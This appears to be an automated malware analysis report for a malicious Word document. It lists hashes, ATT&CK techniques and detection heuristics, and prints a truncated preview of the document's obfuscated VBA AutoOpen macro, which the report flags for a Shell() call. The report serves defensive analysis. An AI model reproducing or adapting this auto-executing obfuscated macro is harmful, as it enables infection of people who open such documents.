Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 82da73ca75700ec5…

MALICIOUS

Office (OLE)

118.2 KB Created: 2018-09-27 14:16:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 52db293eabb01891152495c38f148621 SHA-1: 7da94e635b5f2c2d7296f6304001025640890d18 SHA-256: 82da73ca75700ec52c4308a09cc42b5f10442148a49329fc561801e8050194d5
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is present and the critical heuristic firing for Shell() indicates that the macro attempts to execute arbitrary code. The ClamAV detection further confirms its malicious nature. No specific family could be identified, and the document body was not informative.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6699778-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6699778-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20476 bytes
SHA-256: 2a5f077b5463d824d5f33f2b4d8bbd3ed514e519f5ea283036d163831ee0e252
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "idowImtn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim CUFYYs(2)
CUFYYs(0) = Right(dhHhaW + mZsaKcJNQuEDiSiXHhc + OpuIjj, 80) + Left(nJCkP + KFLIzcwzYPrwJEfMU + QjLwD, 299) + InStrRev(wCCwwcQ + mXwLKRwLkAwLrJof + YCcPaMpA, srPazl + PzzsijtAqGmQPNUTwk + wSLHGp) + Left(GUiPwz + HfhMwtlHbzMsVKbBZ + dEXbzS, 123)
CUFYYs(1) = InStrRev(QhwMQD + ENZAfplobMEUEsCdo + nikHjffE, SDzMtO + HqKqtRRasTNaDBvPXFkGk + lRBvLiEO) + InStrRev(jwlTJRF + OrPBnlwaIWjarzfihoJLV + dJvOofS, CWPNJMf + KwJEmbAaGwFftHoDMU + bGwJRC)
   Dim PQsKi(2)
PQsKi(0) = InStr(LjpOfZiA + qmtAArUkKkLvBjXPmFnK + HrlkPj, OXZHEO + ZPrGAkiJMLlEqDbtziA + UuhiJOJ) + InStrRev(OjYTcZXE + DViMYUzdUZpZPNmIUuDB + KiJiBWvb, IpiJKMRf + YGJFpTvmjAUjqnNbwd + TFzXt) + Left(cXMdQ + DthBzpvoFLvUYEnLGpAswa + DdHGGKU, 697) + InStrRev(wiXHYQrM + jYSWqFwDBlbDLpzEkzojL + nwRjA, RuiKlPB + hTHVbMSGsHNfvpHRzOTABz + KHvjDW)
PQsKi(1) = Right(QDYhb + zIcOmpCHhjQaNVpvHw + DqVnY, 89) + Right(qRDTsYkz + FnCUGjwwCsjYMLXQLRwC + zWuZhkqi, 744)
   Dim KwGvT(1)
KwGvT(0) = InStrRev(friOks + jwQSHHpVPtdjILFpahdco + lrJiwG, SMDkT + cwfaGnnlCfDIVcGjW + bTmwb) + InStrRev(qblcFFjw + kODYjDZzMqaqWQVMoK + wvaubCD, PAwHun + jXcdAzBljoLvYhHdF + WvmRLdl) + Right(daJEmjC + cspTPOpFZanJpjHqjDUQDH + ZUJpiLz, 561) + InStrRev(DjYcWXL + UldwlCMMHclLEdPjvcLLDVz + GhwEvT, wXXnSwVV + sbuNBbNLIZabtGuLY + OiSwYwcd)
   Dim Gjkmu(1)
Gjkmu(0) = InStr(CHKsr + zNjFEGkTGMwYORBTJtpndQ + AajGfmji, YimQm + awBtlGIXwzJaNQktqAjM + tudDjtG) + InStrRev(DUpzO + wHnhZzBVVftSdtNrMiE + scQCT, VYPBYY + wsthLNOjJljIwuRio + zPwCKUC)
   Dim APTRtO(1)
APTRtO(0) = Right(VVVOF + jrhijDBbjRtzLDujwdBz + IhzDWYO, 311) + Left(DcIKrzo + bUopOuRYvOfuqVDYmIC + hDwvjpzo, 836)
   Dim CiNabV(1)
CiNabV(0) = InStr(pVvpcUi + VjRDtOjCaQtUHcp + lBLjYZj, zjErd + zaJdzYvkJcbbiwmXTXlf + KfFrLh) + InStrRev(LHBfF + cQvOzEbTEIEGQkOvpPTEZ + RPazzrzf, pQVPj + mCdcttGpwzcJnEnLsz + EaZdYi)
   Dim Qwavj(2)
Qwavj(0) = InStrRev(LEoQL + SwrmfLTlKwCowXScBRiA + kGutGI, ZPsMt + FpNQzhBJnbziGRozvEYiiB + PjfETYjw) + Right(ktjjzG + KLDHauOwrjHiOlaJiHZCJ + NEmMGS, 545)
Qwavj(1) = InStrRev(poHIkqwa + ThVvtzwXXlIujKlll + iXIBdRY, wOtWq + sPjVFGjtqFDfDBowwmsT + iLmuAv) + InStr(BsWBsZGQ + nLUMALshrsvdzaQ + tutOiSS, OshLk + DSLdjHOVfraXvzpzsSGhiq + SwLKQPj) + InStrRev(FpDlj + zasiNPkWWnccmZYvWl + KnBsjHl, toiHw + DuaotczWcCdBjiwhqM + cktbiI) + InStr(ouBsbK + ijEVGEIbrIDIQfawDA + oUHNiL, VwRzKIB + cizqzzYGrMAhhGPBzq + jRmFr)
   Dim GDKRXw(2)
GDKRXw(0) = Left(phsJuC + uTdRcXThkYBTbVDrZz + onPWKEwW, 50) + Right(iFADQijw + ZPDsNQnKihAVodMHkNWi + PbRmJp, 19)
GDKRXw(1) = InStr(PYMdz + fstLiMaEhbrzkdizp + BojqJ, AXKTc + lPffOrhNJKmLniwmZrEfsa + EKQYXq) + InStrRev(OzSaiYZa + WOQRXKVJmjjmEcWwlmwlo + hXIBRdIM, EnnGDi + TiMOwHvJltZccwYjIUDaazE + dqhEPzVq) + Left(ZAFIzW + vcqPcFBSQDmOtjnEoK + GlJYf, 44) + InStr(DGUJp + NcDqiFAFfKAbMUQVkiTj + GMzjuk, RZbkU + TkEtUkqlbzOkuvhT + mTKuJuJn)
AQKjAulVpRWZpw (KeyString(fGLXR + HmnELC + 1 + 17 + 49 + ciBBYc + SfhwpiK) + mnZZh + iQvahmFZ + KeyString(jjBUwf + tskahc + 1 + 20 + 56 + AZOGzvZF + hqDfZ) + jLOkpu + EjNzaOUVNm + qdVYzEnTO + XsrnWTzYw + TrjJF + UnzJlKmV)
   Dim wCzAK(2)
wCzAK(0) = Left(mowffhC + QNwDPbMRRkALLbjoiRHiwR + NVIVuU, 62) + InStrRev(DtJXqf + ThacVzqotbJiBlbwrwpjIpN + iArmHqcj, rWSjQabN + HiNrjwdBRnvGiCpC + CNTHZY) + InStrRev(Fhcdan + ACztwhvjzWalKvdEUuk + jEvkKfw, sCnEu + SRXaCphvRhzifsNNulKrED + tVwGBD) + InStrRev(cMiir + otzwabmtqjfjHaoVvMzK + wdPDKfWi, wGEost + PUXzusLuVUiQEbzkji + AMlcM)
wCzAK(1) = Right(cBcsvMWz + KzlAKVPpzMvJzJXnJa + usSYwmEi, 544) + Left(ZjaJqq + WTmhsXrCzLZnqIrzh + Qkfmamd, 2) + Left(COJYHLav + BjQpjvckwtZjlBFCkO + PWYUij, 934) + InStrRev(GhjhU + fJtwidfYVFtqhzRB + auAEi, BBViLD + VEkLstwimwHPQSXrEPs + KLdWAWwR)
   Dim XbZqr(1)
XbZqr(0) = Right(vWkjw + hblEiUOhMJJjtzTCYUlp + kXNiTHX, 252) + InStrRev(JYhrcBp + hhXSimPtBTvmQwBzlFmwa + LPcaX, covMFf 
... (truncated)

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